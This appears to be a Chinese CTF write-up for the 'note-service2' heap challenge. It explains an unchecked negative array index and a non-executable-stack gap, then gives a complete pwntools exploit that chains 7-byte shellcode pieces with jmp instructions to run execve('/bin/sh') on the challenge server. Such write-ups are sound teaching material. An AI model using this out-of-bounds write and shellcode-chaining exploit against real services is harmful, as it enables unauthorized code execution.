签到题:note-service2
日常跑
这里我们看到,增查删改的功能都有了,典型的heap
checksec
开了pie但是没有开nx。
IDA
看源代码我们发现只实现了增加和删除两个操作,删除模块一个简单的free
上图所示,在1处,有一个限制代码大小的条件,最大为8,实际只能输入7个,最低位默认为0
2处,有一条可以任意选择数组元素得代码,可以照成数组越界
原计划是利用数组free过后不清0,利用fastbin得特性,类似doouble free进行攻击
直接写入构造shellcode,虽然写入长短有限制,我们可以通过jmp无条件跳转,计算下一个chunk中构造代码的具体位置差,进行衔接
| heap 0x8 | heap 0x8 |
|---|---|
| pri_size | size&flag |
| 0xxxxxxx | 00000000 |
| pri_size | size&flag |
| 0xxxxxxx | 00000000 |
| pri_size | size&flag |
| 0xxxxxxx | 00000000 |
| pri_size | size&flag |
| 0xxxxxxx | 00000000 |
我们可以控制通过代码在0xxxxxxx
from pwn import *
#sh = process('./note')
sh = remote("111.198.29.45",49860)
context(os='linux',arch='amd64')
def add(index,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('size:',"8")
sh.sendafter('content:',content)
def dele(index):
sh.recvuntil("your choice>>")
sh.sendline("4")
sh.recvuntil("index:")
sh.sendline(index)
#nop nop nop nop jmp 0x1d
shell0 = asm('xor rax,rax') + '\x90\x90\xeb\x19'
shell1 = asm('mov eax,0x3B') + '\xeb\x19'
shell2 = asm('xor rsi,rsi') + '\x90\x90\xeb\x19'
shell3 = asm('xor rdx,rdx') + '\x90\x90\xeb\x19'
shell4 = asm('syscall').ljust(7,'\x90')
add('0','aaaaaaa')
add('1',shell1)
add('2',shell2)
add('3',shell3)
add('4',shell4)
dele('0')
add('-8',shell0)
sh.sendlineafter('your choice>>','/bin/sh')
sh.interactive()
白茶清欢无别事,我在等风也等你。

浙公网安备 33010602011771号